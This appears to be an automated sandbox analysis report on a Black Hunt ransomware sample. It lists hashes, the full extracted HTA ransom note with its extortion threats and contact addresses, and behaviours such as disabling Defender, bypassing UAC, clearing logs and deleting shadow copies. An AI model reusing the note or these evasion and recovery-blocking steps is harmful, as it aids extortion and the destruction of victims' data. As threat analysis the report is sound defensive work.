5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:29

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General

Target

5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
Size

707KB
MD5

d4544e1fbb0d4f753dc09a7298080d5c
SHA1

4843f585657c1bdb418d748a855d775202049bda
SHA256

5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435
SHA512

b16dea112c656bbe50dc3202ccef71caf8daa13006aacd5a77c4ae6a8ce833918768e71e11345e7d0238eabd4c2b5a82fbf3b380c27aa1e7d303dae98150b1b2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1086vnh:6uaTmkZJ+naie5OTamgEoKxLWXUh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> Kkp1bHhWBk5tzC6s </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3836	fsutil.exe
2748	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3772	wevtutil.exe
4020	wevtutil.exe
4084	wevtutil.exe
3124	wevtutil.exe
4000	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1560	bcdedit.exe
320	bcdedit.exe
3944	bcdedit.exe
3372	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2460	wbadmin.exe
2900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3780	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\W:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\Z:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\X:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\M:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\R:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\A:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\G:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\Q:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\Y:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\H:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\O:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\P:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\F:	reg.exe
File opened (read-only)	\??\E:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\L:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\V:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\T:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\I:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\K:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\N:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\U:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\S:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened (read-only)	\??\J:	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Atikokan	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\VERSION.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\GRAY.pf	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Managua	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.hta	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\#BlackHunt_Private.key	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\COPYRIGHT	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy.jar	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Cairo	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.txt	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Chita	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key	5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe
